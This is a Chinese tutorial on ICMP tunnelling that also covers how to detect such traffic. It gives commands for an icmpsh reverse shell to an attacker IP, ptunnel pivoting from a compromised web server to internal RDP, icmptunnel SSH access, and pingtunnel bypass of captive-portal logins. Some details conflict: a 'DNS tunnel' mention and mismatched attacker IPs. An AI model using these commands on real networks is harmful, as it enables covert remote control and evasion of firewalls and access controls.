一、ICMP隧道技術解析
icmp協議
Internet Control Message Protocol Internet控制報文協議。它是TCP/IP協議簇的一個子協議,用於在IP主機、路由器之間傳遞控制消息。控制消息是指網絡通不通、主機是否可達、路由是否可用於網絡本身的消息。這些控制消息雖然並不傳輸用戶數據,但是對於用戶數據的傳遞起着重要的作用。
ICMP幀格式如下所示
類型和代碼字段決定了ICMP報文的類型,如下圖所示
ICMP隧道技術原理
由於ICMP報文自身可以攜帶數據,而且ICMP報文是由系統內核處理的,不占用任何端口,因此具有很高的隱蔽性。
通常ICMP隧道技術采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY兩種報文,把數據隱藏在ICMP數據包包頭的選項域中,利用ping命令建立隱蔽通道。
進行隱蔽傳輸的時候,肉雞運行並接受外部攻擊端的ICMP_ECHO數據包,攻擊端把需要執行的命令隱藏在ICMP_ECHO數據包中,肉雞接收到該數據包,解出其中隱藏的命令,並在防火牆內部主機上執行,再把執行結果隱藏在ICMP_ECHOREPLY回包中,發送給外部供給端。
ICMP隧道優點
優點:
1、防火牆對ICMP_ECHO數據包是放行的,並且內部主機不會檢查ICMP數據包所攜帶的數據內容,隱蔽性高。
缺點:
1、ICMP隱蔽傳輸是無連接的,傳輸不是很穩定,而且隱蔽通道的帶寬很低。
二、ICMP隧道攻擊實現
icmpsh
git clone https://github.com/inquisb/icmpsh.git
受控端(客戶端)只能運行在Windows機器上,而主控端(服務端)有三個版本
關閉攻擊機的默認icmp應答
sysctl -w net.ipv4.icmp_echo_ignore_all=1
受害者(被控端)執行
icmpsh.exe -t 192.168.8.180
成功通過dns隧道反彈shell回來。
流量分析,icmp隧道和普通的icmp包有什么區別
建立隧道之后,是受害者不斷發送icmp的request包,類似於給server段發送心跳
區別於正常的ICMP包,ICMP隧道的iIdentifier字段
1、 icmpsh的iIdentifier字段是默認寫死的0001(大端)
2、正常的icmp傳輸的data長度是固定的,根據icmp包的長度是否規律也可以判斷主機是否有問題。
3、一個正常的 ping 每秒最多只會發送兩個數據包,而使用 ICMP隧道的瀏覽器在同一時間會產生大量 ICMP 數據包。
4、正常的icmp請求和響應的數據部分內容是一樣的。
ptunnel
ptunnel是一個icmp隧道中專的工具
將自身的icmp關閉
sysctl -w net.ipv4.icmp_echo_ignore_all=1
描述一個攻擊場景,黑客拿下一個web服務器,但是這個web服務器有防火牆,這時只有一個webshell,發現內網一台脆弱主機,但是防火牆的出站規則很嚴格,通過tcp及以上協議進行流量轉發都被防火牆過濾掉了,只有ping icmp協議未被防火牆阻斷,此時就可以使用ptunnel進行icmp隧道中轉。
在被控主機web服務器和黑客的VPS都安裝ptunnel,被控web服務器直接執行ptunnel命令
黑客的vps執行
ptunnel -p 123.56.6.160 -lp 3333 -da 172.16.7.6 -dp 3389 -p :跳板機的ip -lp:自己監聽的端口 -da:內網目標的主機IP -dp:想連接的目標的端口
黑客最終就可以在vps上面鏈接127.0.0.1 3389或者在本機鏈接vps的110.23.2.45 3389實現內網端口轉發出來入侵。
Icmptunnel
git clone https://github.com/jamesbarlow/icmptunnel.git cd icmptunnel&&make
使用場景和icmpsh一樣(被攻擊對象為linux的情況下)
攻擊者IP:192.168.8.17
被攻擊者的IP:192.168.8.37
攻擊者開啟icmptunnel服務端模式:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel –s
然后另開一個終端,執行命令
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0 指定一個網卡tun0,用於給隧道服務器端分配一個IP地址(10.0.0.1)
被攻擊者執行
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.16
連接上攻擊者的icmptunnel服務端,然后再開一個終端,執行命令
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0 指定IP地址為10.0.0.2
此時建立了icmp隧道,在服務器端通過ssh root@10.0.0.1連接被攻擊對象
https://github.com/esrrhs/pingtunnel
使用pingtunnel icmp通道繞過某些場合如學校、咖啡廳、機場上網認證
下載對應的系統版本
server
關閉icmp echo reply
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
啟動
sudo ./pingtunnel -type server
client
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5
使用瀏覽器配置sock5上網即可
設置瀏覽器的sock5代理到127.0.0.1:4455,如果連不上網,出現socks version not supported錯誤日志,說明瀏覽器的代理不是socks5代理。如果提示非安全連接,說明dns有問題,勾上瀏覽器的【使用socks5代理DNS查詢】
參考鏈接: